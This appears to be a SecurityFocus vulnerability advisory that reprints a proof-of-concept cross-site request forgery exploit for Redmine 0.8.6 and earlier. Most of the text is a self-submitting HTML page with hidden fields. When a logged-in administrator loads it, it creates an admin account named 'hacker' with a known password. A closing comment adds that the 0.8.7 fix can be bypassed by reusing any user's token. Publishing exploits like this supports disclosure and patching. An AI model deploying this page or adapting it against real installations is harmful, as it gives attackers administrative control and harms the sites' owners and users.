source: https://www.securityfocus.com/bid/37322/info
Ruby on Rails is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible.
/**
* Redmine <= 0.8.6 CSRF Add Admin User Exploit
* Discovered by: p0deje (http://p0deje.blogspot.com)
* Application: http://www.redmine.org/wiki/redmine/Download
* SA: http://www.redmine.org/news/30
* Date: 13.11.2009
* Versions affected: <= 0.8.6
* Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights
*/
<html>
<body>
<form method=POST action="http://www.example.com/users/new">
<input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
<input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
<input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
<input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
<input style="display: none" type="password" size="25" name="password" id="password" value="hacker" />
<input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
<input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/>
<input style="display: none" type="hidden" value="1" name="user[admin]"/>
<input style="display: none" type="submit" value="Create" id="commit" name="commit" />
</form>
<script>document.getElementById("commit").click();</script>
</body>
</html>
/**
* P.S. Actually, this vulnerability wasn't fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users.
* Thus, you can add POST data with token of any user and exploit will be working again
*/
